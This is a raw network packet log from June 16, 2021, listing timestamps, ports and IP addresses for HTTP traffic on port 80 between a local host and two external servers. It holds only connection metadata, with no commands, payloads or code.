Jun 16, 2021 12:04:49.364675999 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.364737034 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.364830017 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.364950895 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.365012884 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.365015030 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.365158081 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.365220070 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.365268946 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.365384102 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.365458012 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.365535975 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.365597963 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.365657091 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.365747929 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.365840912 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.365900040 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.366168022 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.444211960 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.444236994 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.444412947 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.444452047 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.444482088 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.444566965 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.444607019 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.444684982 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.444752932 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.444798946 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.444969893 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.445049047 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.445091009 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.445164919 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.445240021 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.445262909 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.445405960 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.445483923 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.445483923 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.445607901 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.445683956 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.445718050 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.445847988 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.445916891 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.445964098 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.446085930 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.446166992 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.446166039 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.446293116 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.446321011 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.446404934 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.446485996 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.446525097 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.446633101 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.446702003 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.446751118 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.446881056 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.446949959 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.446953058 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.447087049 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.447201967 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.447244883 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.447319984 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.447395086 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.447530031 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.447618008 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.447674036 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.447767019 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.447839022 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.447880983 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.447982073 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.448054075 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.448122025 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.448205948 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.448291063 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.448328018 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.448446035 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.448518991 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.448569059 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.448684931 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.448760033 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.448806047 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.448870897 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.448940039 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.449017048 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.449055910 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.449139118 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.449213028 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.449244976 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.449376106 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.449450016 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.449475050 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.449572086 CEST	80	49165	41.231.5.212	192.168.2.22
Jun 16, 2021 12:04:49.449645996 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.450334072 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.451791048 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:49.848500013 CEST	49165	80	192.168.2.22	41.231.5.212
Jun 16, 2021 12:04:52.532603979 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:52.575237989 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:52.575367928 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:52.577344894 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:52.619884968 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:52.945996046 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:52.946053028 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:52.946083069 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:52.946110010 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:52.946142912 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:52.946157932 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:52.946175098 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:52.946196079 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:52.946233034 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:52.946237087 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.152421951 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.528929949 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.528987885 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.529005051 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.529021025 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.529356956 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.529716015 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.529742956 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.529853106 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.530766010 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.530790091 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.530956030 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.531697989 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.531714916 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.531919956 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.532777071 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.532809973 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.532933950 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.533736944 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.533765078 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.533868074 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.534714937 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.534742117 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.534847021 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.535715103 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.535737991 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.535861969 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.536689043 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.536705971 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.536799908 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.537759066 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.537775993 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.537878036 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.538681030 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.538717985 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.538815975 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.539706945 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.539727926 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.539838076 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.540702105 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.540723085 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.540807009 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.541696072 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.541718006 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.541822910 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.542834997 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.542854071 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.542942047 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.543695927 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.543740034 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.543817043 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.544666052 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.544683933 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.544763088 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.545732021 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.552453041 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.552676916 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.571841955 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.571887970 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.572047949 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.572252035 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.572290897 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.572364092 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.573280096 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.573311090 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.573410034 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.574287891 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.574352026 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.574435949 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.575274944 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.575346947 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.575418949 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.576292992 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.576358080 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.576428890 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.577286959 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.577353954 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.577423096 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.578273058 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.578335047 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.578402996 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.579307079 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.579751968 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.579814911 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.579848051 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.580779076 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.580827951 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.580868959 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.581748962 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.581799984 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.581845999 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.582743883 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.582798004 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.582859993 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.583758116 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.583813906 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.583874941 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.584775925 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.584824085 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.584937096 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.585735083 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.585798025 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.585906029 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.586739063 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.586780071 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.587136030 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.587785006 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.587837934 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.587990999 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.588745117 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.588800907 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.588912010 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.589737892 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.589792967 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.589930058 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.590728045 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.590763092 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.590910912 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.595089912 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.595139980 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.595447063 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.595572948 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.595597982 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.595735073 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.596563101 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.596592903 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.596746922 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.616081953 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.616107941 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.616425991 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.616485119 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.616506100 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.616764069 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.617666006 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.617683887 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.617861986 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.618710995 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.618732929 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.618908882 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.619800091 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.619828939 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.620006084 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.620903015 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.620933056 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.621437073 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.621463060 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.622258902 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.622294903 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.622509003 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.622529030 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.622881889 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.624145031 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.624181986 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.624317884 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.624571085 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.624596119 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.624676943 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.625381947 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.625415087 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.625509977 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.626215935 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.626250982 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.626377106 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.627039909 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.627075911 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.627171993 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.627872944 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.627898932 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.627988100 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.628711939 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.628740072 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.628834009 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.629539967 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.629565954 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.629669905 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.630470991 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.630497932 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.630692959 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.631194115 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.631213903 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.631346941 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.632039070 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.632057905 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.632128000 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.632857084 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.632879019 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.632989883 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.633671045 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.633697987 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.633769989 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.634565115 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.634608984 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.634713888 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.635317087 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.635354996 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.635479927 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.636157990 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.636190891 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.636329889 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.636979103 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.637012005 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.637358904 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.637758970 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.637801886 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.637866020 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.638608932 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.638650894 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.638705969 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.639372110 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.639415026 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.639466047 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.640163898 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.640204906 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.640258074 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.640940905 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.640973091 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.641033888 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.641773939 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.641803980 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.641856909 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.642544985 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.642581940 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.642640114 CEST	49167	80	192.168.2.22	104.21.14.60
